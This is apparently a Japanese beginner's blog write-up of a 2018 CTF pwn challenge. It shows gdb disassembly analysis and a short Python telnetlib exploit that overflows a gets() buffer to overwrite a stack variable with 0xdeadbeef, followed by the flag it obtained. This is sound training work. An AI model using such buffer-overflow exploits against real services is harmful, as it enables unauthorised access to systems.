CTF for Beginners のWrite up [Condition(Pwn)]

こんにちは~。去年に引き続き、今年もセキュリティキャンプの課題を受けました。今年は去年より結構多く書きましたが問2の「今まで解析してきたものを教えてください」と問3の「Twitterやブログ、Githubがあれば教えてください」という問に「ヤバい全然書くことない(焦)」と感じて、とりあえず今年から本格的にブログ書いていこうと思いました。セキュキャンの課題でも書きましたがエンジニアがブログを書くことは自分の備忘録としても使えますし、自分がどういうことを作ってきたか学んできたかが第三者にもわかるのでとても重要だと思います。
ということで先日行われたCTF for Beginners 2018のPwnの復習がてらWrite Upを今日から少しずつ投稿していきます。


まず問題ファイルをダウンロードしてきて実行すると何か入力するように言われるので、「test」と入力してみると以下のようになる。

r30n@M0C0:~/workspace/ctf/ctf_4b_2018$ ./condition_68187f0953551cea907c48c016f19ff200de74b4 Please tell me your name...test
Permission denied
r30n@M0C0:~/workspace/ctf/ctf_4b_2018$

まあとりあえずmain関数のアセンブリ見るかと思ってgdbを実行すると
f:id:r30n:20180605150332p:plain
というように出た。
アドレス0x4007a0のcmp部分に注目すると[rbp-0x4]に0xdeadbeefが入っていたらFlagが手に入ると推測する。アドレス400775でrsp −= 0x30されているので、当たり前だが%rbp-0x4と%rspの間は0x2c分空いていることが分かる。アドレス0x40078fのlea命令でraxはlea命令によってrbp-0x30のアドレスとなった。そしてrdiレジスタに、そのraxのアドレス値がコピーされる。x86_64からは引数はrdiレジスタに格納されるので、アドレス0x40079bでgetに入力した値はアドレスrbp-0x30に格納されることがわかる。rbp-0x30=rspなのでバッファオーバーフローを使って空いている0x2c分何かで埋められればFlagが手に入る。

#! /usr/bin/python
# -*- coding: utf-8 -*-
import struct,socket,sys,telnetlib,subprocess,time

#p(0xdeadbeef) --> pack to 4byte little endian '\xef\xbe\xad\xde'
def p(a):
    return struct.pack("<I",a)

HOST = "pwn1.chall.beginners.seccon.jp"
PORT = "16268"

tn = telnetlib.Telnet()
tn.open(HOST,PORT)
ret = tn.read_until("Please tell me your name...",5)
print ret
tn.write('a'*0x2c + p(0xdeadbeef)+'\n')
ret = tn.read_until("hogehoge",5)
print ret
tn.close()

pythonを実行すると

Please tell me your name...
OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

フラグを入手できました~!


いざ書いてみると難しい、、アドレス~に~があるのでみたいな書き方わかりにくいですね。見にくいし。メモリの図などあるとわかりやすいと思いました。
Beginners2018のサーバが落とされる前に残り2問も復習したいけど日常も忙しく時間がない!あと二週間くらいか。
来週は2門目のBBSのWrite Upをあげます。